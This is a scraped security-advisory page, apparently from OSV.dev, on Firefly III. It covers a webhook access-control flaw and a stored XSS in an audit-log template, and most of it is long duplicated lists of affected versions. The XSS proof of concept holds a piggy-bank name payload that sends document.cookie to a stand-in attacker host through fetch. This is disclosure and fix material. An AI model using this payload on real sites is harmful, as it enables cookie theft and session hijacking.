            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 21, 2026

v6.5.7 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 21, 2026

v6.5.6 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


